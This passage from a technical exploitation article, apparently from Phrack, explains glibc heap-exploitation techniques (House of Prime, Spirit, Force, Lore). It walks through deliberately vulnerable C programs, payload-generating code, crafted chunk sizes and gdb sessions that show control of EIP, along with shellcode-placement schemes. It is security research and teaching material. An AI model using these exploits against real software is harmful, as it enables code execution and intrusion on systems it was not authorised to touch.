#include <stdlib.h> 

 

void fvuln(char *str1, char *str2, int age) 

{ 

   int local_age; 

   char buffer[64]; 

   char *ptr = malloc(1024); 

   char *ptr1 = malloc(1024); 

   char *ptr2 = malloc(1024); 

   char *ptr3; 

 

   local_age = age; 

   strncpy(buffer, str1, sizeof(buffer)-1); 

 

   printf("\nptr found at [ %p ]", ptr); 

   printf("\nptr1ovf found at [ %p ]", ptr1); 

   printf("\nptr2ovf found at [ %p ]\n", ptr2); 

 

   printf("Enter a description: "); 

   fread(ptr, 1024 * 5, 1, stdin);  

 

   free(ptr1); 

   printf("\nEND free(1)\n"); 

   free(ptr2); 

   printf("\nEND free(2)\n"); 

 

   ptr3 = malloc(1024); 

   printf("\nEND malloc()\n"); 

   strncpy(ptr3, str2, 1024-1); 

 

   printf("Your name is %s and you are %d", buffer, local_age); 

} 

 

int main(int argc, char *argv[]) 

{ 

   if(argc < 4) { 

      printf("Usage: ./hop name last-name age"); 

      exit(0); 

   } 

 

   fvuln(argv[1], argv[2], atoi(argv[3])); 

 

   return 0; 

} 

 

 

[-----] 

 

To start, we need to control the header of a first chunk that will be 

passed to free(), so that when we trigger a first call to "free()", the 

same code that in the "FastBin Method" will be used, but this time the 

size field of the chunk has to be "8", and obtain: 
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   fastbin_index(8) ((((unsigned int)(8)) >> 3) - 2) = -1 

 

Then: 

 

   fb = &(av->fastbins[-1]) = &av->max_fast; 

 

In the last sentence: (*fb = p), av-> max_fast will be overwritten with 

the address of our chunk being free()'d. 

 

The result is very evident, from that moment we can run the same piece of 

code in free() whenever the size of chunk that will be passed to free() 

is less than the value of the chunk address "p" previously free()'d. 

 

Typically: av->max_fast = 0x00000048, and now is 0x080YYYYY. What is 

more than you need. 

 

To pass the integrity chesks of the first free() call, we need these 

sizes: 

 

chunk "p" -> 8 (0x9h if PREV_INUSE bit is set). 

nextchunk -> 10h is a good value ( 8 < "0x10h" < av->system_mem ) 

 

So the exploit would start with something like this: 

 

[-----] 

 

int main (void) { 

 

        int i, j; 

 

        for (i = 0; i < 1028; i++)                           /* FILLER */ 

                putchar(0x41); 

 

        fwrite("\x09\x00\x00\x00", 4, 1, stdout); /* free(1) ptr1 size */ 

        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* FILLER */ 

        fwrite("\x10\x00\x00\x00", 4, 1, stdout); /* free(1) ptr2 size */ 

 

[-----] 

 

The next mission is to overwrite the value of "arena_key" (read Malloc 

Maleficarum for details) which is typically above "av" (&main_arena). 

 

As we can use chunks of very large sizes, we can make that 

&(av->fastbins[x]) points very far. At least enough to reach the 

value of "arena_key" and overwrite it with the "p" address. 

 

Taking the example of Phantasmal, we would have to resize the second chunk 

to with the next value: 

 

   1156 bytes / 4 = 289 

   (289 + 2) << 3 = 2328 = 0x918h -> 0x919 (PREV_INUSE) 

                           ------ 

 

You have to check again the "size" field of the next chunk, whose address 

is calculated from the value that we obtain a moment ago. 

 

You can continue your exploit: 

 

[-----] 

 

        for (i = 0; i < 1020; i++) 
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                putchar(0x41); 

        fwrite("\x19\x09\x00\x00", 4, 1, stdout); /* free(2) ptr2 size */ 

 

        .... /* Later */ 

 

        for (i = 0; i < (2000 / 4); i++) 

                fwrite("\x10\x00\x00\x00", 4, 1, stdout); 

 

[-----] 

 

At the end of the second free (): arena_key = p2. 

 

This value will be used by the call to malloc () setting it as the "arena" 

structure to use. 

 

    arena_get(ar_ptr, bytes); 

    if(!ar_ptr) 

      return 0; 

    victim = _int_malloc(ar_ptr, bytes); 

 

Again, let's go to see, to be more intuitive, the magic code of 

"_int_malloc()" function: 

 

    ..... 

 

    if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { 

      long int idx = fastbin_index(nb); 

      fb = &(av->fastbins[idx]); 

      if ( (victim = *fb) != 0) { 

        if (fastbin_index (chunksize (victim)) != idx) 

          malloc_printerr (check_action, "malloc(): memory" 

            " corruption (fast)", chunk2mem (victim)); 

        *fb = victim->fd; 

        check_remalloced_chunk(av, victim, nb); 

        return chunk2mem(victim); 

      } 

 

    ..... 

 

"av" is now our arena, which starts at the beginning of the second chunk 

liberated "p2", then it is clear that "av->max_fast" will be equal to the 

"size" field of the chunk. In order to pass the first integrity check, we 

have to ensure that the size requested by the "malloc()" call is less than 

that value, as Phantasmal said, otherwise you can try the technique 

described in 4.2.1. 

 

As our vulnerable program allocate 1024 bytes, it will be perfect por a 

successful exploitation. 

 

Then we can see that "fb" is set to address of a "fastbin" in "av", and in 

the following sentence, its content will be the final address of "victim". 

Remember that our goal is to allocate an amount of bytes into a place of 

our choice. 

 

Do you remember / * Later * / ? 

 

Well, that is where we need to copy repeatedly the address that we want 

in the stack, so any return "fastbin" set our address in "fb". 

 

Mmmmm, but wait a moment, the next condition is the most important: 
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   if (fastbin_index (chunksize (victim)) != idx) 

 

This means that the "size" field of our fakechunk must be equal to the 

amount requested by "malloc()". This is the last requirement in The House 

of Prime. We must control a value into memory and place address of 

"victim" just 4 bytes before, so this value would become its new size. 

 

Our vulnerable application get as parameters: "name", "surname" and "age". 

This last value is an integer that will be stored in the stack. If we 

make: age = 1024->(1032), we only must look for it into the stack to know 

the final address of "victim". 

 

[-----] 

 

(gdb) run Black Ngel 1032 < file 

ptr found at [ 0x80b2a20 ] 

ptr1ovf found at [ 0x80b2e28 ] 

ptr2ovf found at [ 0x80b3230 ] 

Escriba una descripcion: 

END free(1) 

 

END free(2) 

 

Breakpoint 2, 0x080482d9 in fvuln () 

(gdb) x/4x $ebp-32 

0xbffff838:     0x00000000      0x00000000      0xbf000000      0x00000408 

 

[-----] 

 

Here we have our value, we should point to "0xbffff840". 

 

        for (i = 0; i < (600 / 4); i++) 

                fwrite("\x40\xf8\xff\xbf", 4, 1, stdout); 

  

You should have: ptr3 = malloc(1024) = 0xbffff848, remember that it 

returns a pointer to the memory (data area) and not to chunk's header. 

 

We are really close to EBP and EIP. What happens if our "name" is 

composed by a few letters "A"? 

 

[-----] 

 

(gdb) run Black `perl -e 'print "A"x64'` 1032 < file 

..... 

ptr found at [ 0x80b2a20 ] 

ptr1ovf found at [ 0x80b2e28 ] 

ptr2ovf found at [ 0x80b3230 ] 

Escriba una descripcion: 

END free(1) 

 

END free(2) 

 

Breakpoint 2, 0x080482d9 in fvuln () 

(gdb) c 

Continuing. 

 

END malloc() 

 

Breakpoint 3, 0x08048307 in fvuln () 

(gdb) c 

Continuing. 
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Program received signal SIGSEGV, Segmentation fault. 

0x41414141 in ?? () 

(gdb) 

 

[-----] 

  

Bingo! I think that you can put your own Shellcode, right? 

 

Actually, addresses require manual adjustments, but that is trivial when 

you know write "gdb" in your shell. 

 

At first, this technique is only applicable to version 2.3.6 of GLIBC. 

Later was added in the "free()" function an integrity check like this: 

 

[-----] 

 

  /* We know that each chunk is at least MINSIZE bytes in size. */ 

  if (__builtin_expect (size < MINSIZE, 0)) 

    { 

      errstr = "free(): invalid size"; 

      goto errout; 

    } 

 

  check_inuse_chunk(av, p); 

 

[-----] 

 

  

Which does not allow us to establish a smaller size than "16". 

 

In honor to the first house developed and built by Phantasmal we have 

shown that it is possible to arrive alive at The House of Prime. 

 

 

 

                       << La tecnica no solo es una 

                          modificacion, es poder sobre 

                          las cosas. >> 

 

                                     [ Xavier Zubiri ] 

 

 

 

               ----------------------- 

---[ 4.2.1 ---[   unsorted_chunks()   ]--- 

               ----------------------- 

  

Until the call to "malloc()", the technique is exactly the same as 

described in 4.2. The difference comes when the amount of bytes that you 

want to alloc with that call is over "av->max_fast", which appears to be 

the size of the second chunk passed to free(). 

 

Then, as Phantasmal advanced us, another piece of code can be triggered so 

that we will can overwrite an arbitrary address of memory. 

 

But again he was wrong when he said: 

 

   "Firstly, the unsorted_chunks() macro returns av->bins[0]." 

 

And this is not true, because "unsorted_chunks ()" returned address of 
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"av->bins[0]" and not its value, which means that we must devise another 

method. 

 

Being these lines the most relevant: 

 

     ..... 

        victim = unsorted_chunks(av)->bk 

        bck = victim->bk; 

        ..... 

        ..... 

        unsorted_chunks(av)->bk = bck; 

        bck->fd = unsorted_chunks(av); 

     ..... 

 

I propose the following method: 

 

 1) Put at &av->bins[0]+12 the address of (&av->bins[0]+16-12). Then: 

 

    victim = &av->bins[0]+4; 

 

 2) Put at &av->bins[0]+16 address of EIP - 8. Then: 

 

    bck = (&av->bins[0]+4)->bk = av->bins[0]+16 = &EIP-8; 

 

 3) Put at av->bins[0] a "JMP 0xYY" sentence to jump at least as far 

    as &av->bins[0]+20. In the penultimate sentence it will destroy 

    &av->bins[0]+12, but it is not important now, to the end we will 

    have: 

 

    bck->fd = EIP = &av->bins[0]; 

 

 4) Put (NOPS + SHELLCODE) from &av->bins[0] + 20. 

 

   

When a "ret" instruction is executed, it will go to our "JMP" and this 

fall directly on the NOPS, moving east until the shellcode. 

 

We should have something like this: 

 

 

    &av->bins[0]     &av->bins[0]+12     &av->bins[0]+16 

    |                |                   | 

 ...[ JMP 0x16 ].....[&av->bins[0]+16-12][ EIP - 8][ NOPS + SHELLCODE ]... 

           |______________________|______|_________| 

          (2)                     |______| 

                                 (1) 

 

  (1) This happens here: bck = (&av->bins[0]+4)->bk. 

  (2) This happens after the execution of a "ret" 

 

  

The great advantage of this method is that we can achieve a direct 

arbitrary code execution instead of returning a controlled chunk from 

"malloc()". 

 

Perhaps through this clever way you can directly reach The House of Prime. 

 

 

 

               << Felicidad no es hacer lo que 

                  uno quiere, sino querer lo que 
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                  uno hace. >> 

 

                                [ J. P. Sartre ] 

 

 

 

             ------------------------- 

---[ 4.3 ---[   THE HOUSE OF SPIRIT   ]--- 

             ------------------------- 

 

The House of Spirit is, undoubtedly, one of the most simple applied 

technique when circumstances are propitious. The goal is to overwrite 

a pointer that was previously allocated with a call to "malloc()" so 

that when this is passed to free(), an arbitrary address will be stored 

in a "fastbin[]". 

 

This can bring that in a future call to malloc(), this value will be taken 

as the new memory for the requested chunk. And what happens if I do that 

this memory chunk to fall into any specific area of stack? 

 

Well, if we can control what we write in, we can change everything value 

that is ahead. As always, this is where EIP enters to the game. 

 

Let's go to see a vulnerable program: 

 

[-----] 

 

#include <stdio.h> 

#include <string.h> 

#include <stdlib.h> 

 

void fvuln(char *str1, int age) 

{ 

   static char *ptr1, name[32]; 

   int local_age; 

   char *ptr2; 

 

   local_age = age; 

 

   ptr1 = (char *) malloc(256); 

   printf("\nPTR1 = [ %p ]", ptr1); 

   strcpy(name, str1); 

   printf("\nPTR1 = [ %p ]\n", ptr1); 

 

   free(ptr1); 

 

   ptr2 = (char *) malloc(40); 

 

   snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); 

   printf("\n%s\n", ptr2); 

} 

 

int main(int argc, char *argv[]) 

{ 

   if (argc == 3) 

      fvuln(argv[1], atoi(argv[2])); 

 

   return 0; 

} 

 

[-----] 
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It is easy to see how the "strcpy()" function allow to overwrite the 

"ptr1" pointer: 

 

   blackngel@mac:~$ ./hos `perl -e 'print "A"x32 . "BBBB"'` 20 

   PTR1 = [ 0x80c2688 ] 

   PTR1 = [ 0x42424242 ] 

   Segmentation fault 

  

With this in mind, we can change the address of the chunk, but not all 

addresses are valid. Remember that in order to execute the "fastbin" code 

described in The House of Prime, we need a minor value than "av->max_fast" 

and, more specifically, as Phantasmal said, it has to be equal to the size 

requested in the future call to "malloc()" + 8. 

 

So as one of the arguments in our application is the "age" parameter, we 

can put any value in the stack, which in this case will be "0x48", and 

seek its address. 

 

(gdb) x/4x $ebp-4 

0xbffff314: 0x00000030 0xbffff338 0x080482ed 0xbffff702 

 

In our case we see that the value is just behind EBP, and PTR1 would must 

point to EBP. Remember that we are modifying the pointer to memory, not 

the chunk's address. 

 

The most important requirement to success of this technique is pass the 

integrity check of the next chunk: 

 

      if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ 

          || __builtin_expect (chunksize (chunk_at_offset (p, size)) 

                                          >= av->system_mem, 0)) 

 

... at $EBP - 4 + 48 we must have a value that meets the above conditions. 

Otherwise you should look for another addresses of memory that can allow 

you to control both values. 

 

(gdb) x/4x $ebp-4+48 

0xbffff344: 0x0000012c 0xbffff568 0x080484eb 0x00000003 

 

I will shown what it happens: 

 

 

                   val1         target                val2 

                    o             |                     o 

      -64           |  mem  -4    0   +4  +8  +12 +16   | 

       |            |   |    |    |    |   |   |   |    | 

  .....][P_SIZE][size+8][...][EBP][EIP][..][..][..][next_size][ ...... 

                    |   |                           | 

                    o---|---------------------------o 

                        |      (size + 8) bytes 

                       PTR1 

                        |---> Future PTR2 

                                     ---- 

 

   (target) Value to overwrite. 

   (mem)  Data of fakechunk. 

   (val1) Size of fakechunk. 

   (val2) Size of next chunk. 
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If this happens, control will be in our hands: 

 

[-----] 

 

blackngel@linux:~$ gdb -q ./hos 

(gdb) disass fvuln 

Dump of assembler code for function fvuln: 

0x080481f0 <fvuln+0>: push   %ebp 

0x080481f1 <fvuln+1>: mov    %esp,%ebp 

0x080481f3 <fvuln+3>: sub    $0x28,%esp 

0x080481f6 <fvuln+6>: mov    0xc(%ebp),%eax 

0x080481f9 <fvuln+9>: mov    %eax,-0x4(%ebp) 

0x080481fc <fvuln+12>: movl   $0x100,(%esp) 

0x08048203 <fvuln+19>: call   0x804f440 <malloc> 

.......... 

.......... 

0x08048230 <fvuln+64>: call   0x80507a0 <strcpy> 

.......... 

.......... 

0x08048252 <fvuln+98>: call   0x804da50 <free> 

0x08048257 <fvuln+103>: movl   $0x28,(%esp) 

0x0804825e <fvuln+110>: call   0x804f440 <malloc> 

.......... 

.......... 

0x080482a3 <fvuln+179>: leave   

0x080482a4 <fvuln+180>: ret     

End of assembler dump. 

 

(gdb) break *fvuln+19          /* Before malloc() */ 

Breakpoint 1 at 0x8048203 

 

(gdb) run `perl -e 'print "A"x32 . "\x18\xf3\xff\xbf"'` 48 

......... 

.......... 

Breakpoint 1, 0x08048203 in fvuln () 

(gdb) x/4x $ebp-4   /* 0x30 = 48 */ 

0xbffff314: 0x00000030 0xbffff338 0x080482ed 0xbffff702 

 

(gdb) x/4x $ebp-4+48   /* 8 < 0x12c < av->system_mem */ 

0xbffff344: 0x0000012c 0xbffff568 0x080484eb 0x00000003 

 

(gdb) c 

Continuing. 

 

PTR1 = [ 0x80c2688 ] 

PTR1 = [ 0xbffff318 ] 

 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

 

Program received signal SIGSEGV, Segmentation fault. 

0x41414141 in ?? () 

 

[-----] 

 

In this special case, the address of EBP would be the address of PTR2 zone 

data, which means that the fourth write character will overwrite EIP, and 

you will can point to your Shellcode. 

 

This technique has the advantage, once again, to remain applicable in 

the newer versions of glibc so as PTMALLOC3. Must be known that the 

Phantasmal's theory still remain to the pass of the time. 
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Now you can feel the power of witches. We arrived, flying in broom at The 

House of Spirit. 

 

 

 

                        << La television es el espejo donde 

                           se refleja la derrota de todo 

                           nuestro sistema cultural. >> 

 

                                       [ Federico Fellini ] 

 

 

 

             ------------------------- 

---[ 4.4 ---[   THE HOUSE OF FORCE    ]--- 

             ------------------------- 

 

The top chunk (Wilderness), as I mentioned earlier in this article may be 

one of the most dreaded chunks. Sure, it is treated in a special way by 

the free() and malloc() functions, but in this case will be the trigger 

for a possible arbitrary code execution. 

 

The main goal of this technique is to reach the next piece of code in 

"_int_malloc ()": 

 

[-----] 

 

    ..... 

    use_top: 

      victim = av->top; 

      size = chunksize(victim); 

 

      if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 

        remainder_size = size - nb; 

        remainder = chunk_at_offset(victim, nb); 

        av->top = remainder; 

        set_head(victim, nb | PREV_INUSE | 

                 (av != &main_arena ? NON_MAIN_ARENA : 0)); 

        set_head(remainder, remainder_size | PREV_INUSE); 

        check_malloced_chunk(av, victim, nb); 

        return chunk2mem(victim); 

      } 

    ..... 

 

[-----] 

  

This technique requires three conditions: 

 

    1 - One overflow in a chunk that allows to overwrite the Wilderness. 

 

    2 - A call to "malloc()" with size field defined by designer. 

 

    3 - Another call to "malloc()" where data can be handled by designer. 

 

The ultimate goal is to get a chunk placed in an arbitrary memory. This 

position will be obtained by the last call to "malloc()", but first we 

must analyse more things. 

 

Consider first a possible vulnerable program: 
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[-----] 

 

#include <stdio.h> 

#include <string.h> 

#include <stdlib.h> 

 

void fvuln(unsigned long len, char *str) 

{ 

   char *ptr1, *ptr2, *ptr3; 

 

   ptr1 = malloc(256); 

   printf("\nPTR1 = [ %p ]\n", ptr1); 

   strcpy(ptr1, str); 

 

   printf("\Allocated MEM: %u bytes", len); 

   ptr2 = malloc(len); 

   ptr3 = malloc(256); 

 

   strncpy(ptr3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 256); 

} 

 

int main(int argc, char *argv[]) 

{ 

   char *pEnd; 

   if (argc == 3) 

      fvuln(strtoull(argv[1], &pEnd, 10), argv[2]); 

 

   return 0; 

} 

 

[-----] 

 

Phantasmal said that the first thing to do was to overwrite the 

Wilderness chunk so that its "size" field was as high as possible, 

as well as "0xffffffff". Since our first chunk is 256 bytes long, 

and it is vulnerable to overflow, 264 characters "\xff" achieve the 

objective. 

 

This ensures that any request of memory enough large, is treated with 

the code "_int_malloc()", instead of expand the heap. 

 

The second goal, is to alter "av->top" so it points to a memory area under 

designer control. We (it's view in next section) will work with the stack, 

particularly with the EIP target. In fact, the address that should be 

placed in "av->top" is EIP - 8, because we are dealing with the chunk 

address, and the return data area is 8 bytes later, there where we will 

write our data. 

 

But... How hack "av->top"? 

 

   victim = av->top; 

   remainder = chunk_at_offset(victim, nb); 

   av->top = remainder; 

 

"victim" get address of the current Wilderness chunk, that in a normal 

case we could see so as:  

 

   PTR1 = [ 0x80c2688 ] 

 

   0x80bf550 <main_arena+48>:   0x080c2788 
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As we can see, "remainder" is exactly the sum of this address plus the 

number of bytes requested by "malloc ()". This amount must be controlled 

by the designer as mentioned above. 

 

Then, if EIP is "0xbffff22c", the address that we want placed at remainder 

(which will goes direct to "av->top") is actually this: "0xbfffff24". And 

now we know where this "av->top". Our number of bytes to request are: 

 

    0xbffff224 - 0x080c2788 = 3086207644 

 

I exploited the program with "3086207636", which again, is due to the 

difference between the position of the chunk and data area of Wilderness. 

 

Since that time, "av->top" contain our altered value, and any request that 

triggers this piece of code, get this address as its data zone. Everything 

that is written will destroy the stack. 

 

GLIBC 2.7 do the next: 

 

      .... 

      void *p = chunk2mem(victim); 

      if (__builtin_expect (perturb_byte, 0)) 

 alloc_perturb (p, bytes); 

      return p; 

 

Let's to go: 

 

[-----] 

 

blackngel@linux:~$ gdb -q ./hof 

(gdb) disass fvuln 

Dump of assembler code for function fvuln: 

0x080481f0 <fvuln+0>:   push   %ebp 

0x080481f1 <fvuln+1>:   mov    %esp,%ebp 

0x080481f3 <fvuln+3>:   sub    $0x28,%esp 

0x080481f6 <fvuln+6>:   movl   $0x100,(%esp) 

0x080481fd <fvuln+13>:  call   0x804d3b0 <malloc> 

.......... 

.......... 

0x08048225 <fvuln+53>:  call   0x804e710 <strcpy> 

.......... 

.......... 

0x08048243 <fvuln+83>:  call   0x804d3b0 <malloc> 

0x08048248 <fvuln+88>:  mov    %eax,-0x8(%ebp) 

0x0804824b <fvuln+91>:  movl   $0x100,(%esp) 

0x08048252 <fvuln+98>:  call   0x804d3b0 <malloc> 

.......... 

.......... 

0x08048270 <fvuln+128>: call   0x804e7f0 <strncpy> 

0x08048275 <fvuln+133>: leave   

0x08048276 <fvuln+134>: ret     

End of assembler dump. 

 

(gdb) break *fvuln+83      /* Before malloc(len) */ 

Breakpoint 1 at 0x8048243 

 

(gdb) break *fvuln+88      /* After malloc(len) */ 

Breakpoint 2 at 0x8048248 

 

(gdb) run 3086207636 `perl -e 'print "\xff"x264'` 

..... 
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PTR1 = [ 0x80c2688 ] 

 

Breakpoint 1, 0x08048243 in fvuln () 

(gdb) x/16x &main_arena 

.......... 

.......... 

0x80bf550 <main_arena+48>:  0x080c2788  0x00000000  0x080bf550  0x080bf550 

                                 |  

(gdb) c                       av->top 

Continuing. 

 

Breakpoint 2, 0x08048248 in fvuln () 

(gdb) x/16x &main_arena 

.......... 

.......... 

0x80bf550 <main_arena+48>:  0xbffff220  0x00000000  0x080bf550  0x080bf550 

                                 | 

                          point to stack 

(gdb) x/4x $ebp-8 

0xbffff220:   0x00000000   0x480c3561   0xbffff258   0x080482cd 

                                |  

(gdb) c                     important 

Continuing. 

 

Program received signal SIGSEGV, Segmentation fault. 

0x41414141 in ?? ()    /* Our application smash the stack itself */ 

(gdb)  

 

[-----] 

 

Yeah! So it was possible!!! 

 

I pointed out one value as "important" in the stack, and it is one of 

the last condition for a successful implementation of this technique. 

It requires that the "size" field of the new Wilderness chunk, been at 

least greater than the request made by the last call to "malloc()". 

 

NOTE: As you have seen in the introduction of this article, g463 wrote a 

      paper about how to take advantage of the set_head() macro in order 

      to overwrite an arbitrary memory address. This would be strongly 

      recommendable that you read this work. He also presented a briew 

      research about The House of Force... 

 

      Due to a serious error of mine, I did not read this article until 

      a Phrack member warned me of its existence after I had edited my 

      article. I can't avoid feeling amazed at the level of skills these 

      people are reaching. The work of g463 is really smart. 

 

In conclusion to this technique, I asked what would happen if, instead of 

what we have seen, the vulnerable code would looks like: 

 

   ..... 

   char buffer[64]; 

 

   ptr2 = malloc(len); 

   ptr3 = calloc(256); 

 

   strncpy(buffer, argv[1], 63); 

   ..... 

 

At first, it is quite similar, only the last chunk of memory allocated is 
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done through the function "calloc()" and in this case do not control their 

content, but we control a buffer declared at the beginning of the 

vulnerable function. 

 

Faced with this obstacle, I had an idea in mind. If it remains possible 

return an arbitrary piece of memory and since calloc() will fill it with 

"0's", perhaps it could be placed so that the last NULL byte "0" may 

overwrite the last byte of a saved EBP, so this is passed finally to ESP, 

and may control the return address from within our buffer[]. 

 

But soon I warned that the alignment of malloc() algorithm when this is 

called, thwarts this possibility. We could overwrite EBP completely with 

"0's", which is useless for our purposes. And besides, always there to 

take care not to crush our buffer[] with zeros if the reserve of memory 

occurs after the content has been established by the user. 

 

And it is all... As always, this technique also remains being applicable 

with the latest versions of glibc (2.8.90). 

 

We have arrived, pushed by the power of force, to The House of Force. 

 

 

 

                          << La gente comienza a plantearse 

                             si todo lo que se puede hacer 

                             se debe hacer. >> 

 

                                          [ D. Ruiz Larrea ] 

 

 

 

               --------------- 

---[ 4.4.1 ---[   MISTAKES    ]--- 

               --------------- 

 

In fact, what we have done in the previous section, the fact of using the 

stack was the only viable solution that I found, after realize some errors 

that Phantasmal had not expected. 

 

The point is that the description of his technique, he raised the 

possibility of overwrite targets as .dtors or Global Offset Table. 

But I soon realized that this did not seem possible. 

 

Given that "av->top" was: [0x080c2788]. In a short analysis like this... 

 

     blackngel@linux:~$ objdump -s -j .dtors ./hof 

     ..... 

     Contents of section .dtors: 

     80be47c ffffffff 20480908 00000000 

     ..... 

     Contents of section .got: 

     80be4b8 00000000 00000000  

 

... we can see that both addresses are behind the address of "av->top", 

and an amount not lead us to these addresses. Function pointers, the BSS 

region, and also other things are behind... 

 

If you want to play with negative numbers or integer overflows, I allow 

that you to make all neccesary tests. 

 

It is by this that the Malloc Maleficarum did not mention that the 
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designer controlled value to allocate memory, should be an "unsigned" or, 

otherwise, any value greater than 2147483647 will change its sign directly 

to become a negative value, which ends at most cases with a segmentation 

fault. 

 

He doesn't think this because he think that he could overwrite memory 

positions that were at highest addresses that the Wilderness chunk, bu 

not as far as "0xbffffxxx". 

 

Imposible is nothing in this world, and I know that you can feel The House 

of Force. 

 

 

 

               << La utopia esta en el horizonte. Me 

                  acerco dos pasos, ella se aleja dos 

                  pasos. Camino diez pasos y el horizonte 

                  se corre diez pasos mas alla. Por 

                  mucho que yo camine, nunca la alcanzare. 

                  ¿Para que sirve la utopia? Para eso 

                  sirve, para caminar. >> 

 

                                            [ E. Galeano ] 

 

 

 

             ----------------------- 

---[ 4.5 ---[   THE HOUSE OF LORE   ]--- 

             ----------------------- 

  

This technique will be detailed here in a theoretical way to express what 

Phantasmal supposedly wanted to say in his Malloc Maleficarum paper. 

 

The House of Lore requires triggering numerous calls to "malloc()" what 

seems not to be a designer controlled value and turns into something 

unreal. 

 

But I again repeat the same thing I said at the end of the technique The 

House of Mind (CVS vulnerability). And the same showed case is perfect for 

the conditions that should meet in The House of Lore. We need multiple 

calls to malloc( ) controlling their sizes. 

 

To give a simple explanation, we will approach to the topic through 

schemes. 

 

When a chunk is stored in your appropriated "bin", it is inserted as the 

first: 

 

       1) Calculating the index for the chunk's size: 

 

             victim_index = smallbin_index(size); 

 

       2) Get the proper bin: 

 

             bck = bin_at(av, victim_index); 

 

       3) Get the first chunk: 

 

             fwd = bck->fd; 

 

       4) Pointer "bk" of chunk points to the bin: 
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             victim->bk = bck; 

 

       5) Pointer "fd" of chunk points to the previous 

          first chunk at bin: 

 

             victim->fd = fwd; 

 

       6) Pointer "bk" of the next chunk points to our 

          inserted chunk: 

 

             fwd->bk = victim; 

 

       7) Pointer "fd" of the "bin" points to our chunk: 

 

             bck->fd = victim; 

 

 

                   bin->bk  ___  bin->fwd 

                  o--------[bin]----------o 

                  !         ^ ^           ! 

               [last]-------| |-------[victim] 

                 ^|   l->fwd    v->bk    ^| 

                 |!                      |! 

               [....]                  [....] 

                   \\                  // 

                    [....]        [....] 

                     ^ |____________^ | 

                     |________________|     

 

 

  

Into "unlink code", if "victim" is taken from "bin->bk, it may be 

necessary to repeat numerous calls to malloc() until the "victim" reach 

the "last" position. 

 

Let's see the code to discover a few things: 

 

 

      ..... 

      if ( (victim = last(bin)) != bin) { 

        if (victim == 0) /* initialization check */ 

          malloc_consolidate(av); 

        else { 

          bck = victim->bk; 

          set_inuse_bit_at_offset(victim, nb); 

          bin->bk = bck; 

          bck->fd = bin; 

          ... 

          return chunk2mem(victim); 

      ..... 

 

 

In this technique, Phantasmal said that the ultimate goal was to overwrite 

"bin->bk," but the first element that we can control is "victim->bk".  As 

far as I can understand, we must ensure that the overflowed chunk passed 

to "free ()" is in the previous position to "last", so that "victim->bk" 

point to its address, that we must control and should point to the stack. 

 

This address is passed to "bck" and then will change "bin->bk". Due to 

this, we now control the "last" chunk with a designer controlled address. 
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That is why we need a new call to "malloc()" with same size as the 

previous call, so that this value is the new "victim" and is returned in: 

 

     return chunk2mem (victim); 

 

[-----] 

 

 

     *ptr1 -> modified; 

 

     First call to "malloc()": 

     ------------------------- 

 

         ___[chunk]_____[chunk]_____[chunk]____  

        |                                      | 

        !    bk                 bk             | 

      [bin]----->[last=victim]----->[ ptr1 ]---/ 

        ^____________| ^_______________| 

             fwd      ^       fwd 

                      | 

        return chunk2men(victim); 

 

 

 

     Second call to "malloc()": 

     -------------------------- 

 

         ___[chunk]_____[chunk]_____[chunk]____  

        |                                      | 

        !    bk              bk                | 

      [bin]----->[ ptr1 ]--------->[ chunk ]---/ 

        ^___________| ^________________| 

             fwd     ^       fwd 

                     | 

        return chunk2men(ptr1); 

 

 

[-----] 

 

One must be careful with that also overwrites "bck->fd" in turn, in the 

stack it is not a big problem. 

 

It is for this reason that if your interest is really enough, my tip is 

that you don't pay much attention to The House of Prime, as indicated 

Phantasmal in his paper, instead, consider again the House of Spirit. 

 

In theory, using a similar technique, a false chunk should can been sited 

in its corresponding "bin" and trigger a further call to "malloc()" that 

could returns the same memory space. 

 

Remember that the size of allocated chunk must be greater than 

"av->max_fast" (72), and less than 512 to execute "small bin" code instead 

of fastbin code: 

 

   #define NSMALLBINS        64 

   #define SMALLBIN_WIDTH    MALLOC_ALIGNMENT 

   #define MIN_LARGE_SIZE    (NSMALLBINS * SMALLBIN_WIDTH) 

 

   [64] * [8] = [512] 
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For "largebin" method will have to use larger chunks than this estimated 

size. 

 

Like all houses, it's only a way of playing, and The House of Lore, 

although not very suitable for a credible case, no one can say that 

is a complete exception... 

 

 

 

                   << La humanidad necesita con urgencia 

                      una nueva sabiduria que proporcione 

                      el conocimiento de como usar el 

                      conocimiento para la supervivencia 

                      del hombre y para la mejora de la 

                      calidad de vida. >> 

 

                                         [ V. R. Potter ] 

 

 

 

             ------------------------------ 

---[ 4.6 ---[   THE HOUSE OF UNDERGROUND   ]--- 

             ------------------------------ 

 

Well, this house really was not described in Phantasmal Phantasmagoria's 

paper, but it is quite useful to describe a concept that I have in mind. 

 

In this world are all possibilities. Chances that something goes well, or 

chances of something going wrong. In the world of the vulnerabilities 

exploitation, this remains true. The problem is to get the neccesary 

skills to find these possibilities, usually the possibility of that 

something goes well. 

 

Speaking at this time to unite several of the prior techniques in a same 

attack should not be so strange, and sometimes could be the most 

appropriate solution. Recall that g463 is not satisfied with the technique 

The House of Force to work on the vulnerability of the file (1) utility, 

but he was looking for new possibilities so that things come out well. 

 

For example ... what about using in a same instant the The House of Mind 

and The House of Spirit methods? 

 

Consider that both have their own limitations. On the one hand, The House 

Mind need as has been said a piece of memory in an above address that 

"0x08100000", while The House of Spirit, states that once the pointer to 

be free()ed has been overwritten, a new call to malloc() will be done. 

 

In The House of Mind, the main goal is to control the "arena" structure 

and this change starts with the modification of the third bit less 

significant of the size field of the overwritten chunk (P). But the fact 

we can modify this metadata, does not mean that we have control of the 

address of this chunk. 

 

In contrast, in The House of Spirit, we alter the address of P, through 

the manipulation of the pointer to the data area (*mem). But what happens 

if in your vulnerable application does not exist a new call to malloc() 

that will return an arbitrary piece of memory on the stack? 

 

You may still investigate new avenues, but I would not be assured that 

running. 
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If we can change the pointer to be freed, like in The House of Spirit, 

this will be passed to free() in: 

 

   public_fREe(Void_t* mem) 

 

We can make it point to some place like the stack or the environment. It 

should always be a memory location with data controlled by the user. Then 

the effective address of the chunk would taken at: 

 

   p = mem2chunk(mem); 

  

At this point we leave The House of The Spirit to focus on The House of 

Mind. Then again we must control the arena "ar_ptr" and, to achieve this, 

(&p + 4) should contain a size with the NON_MAIN_ARENA bit enabled. 

 

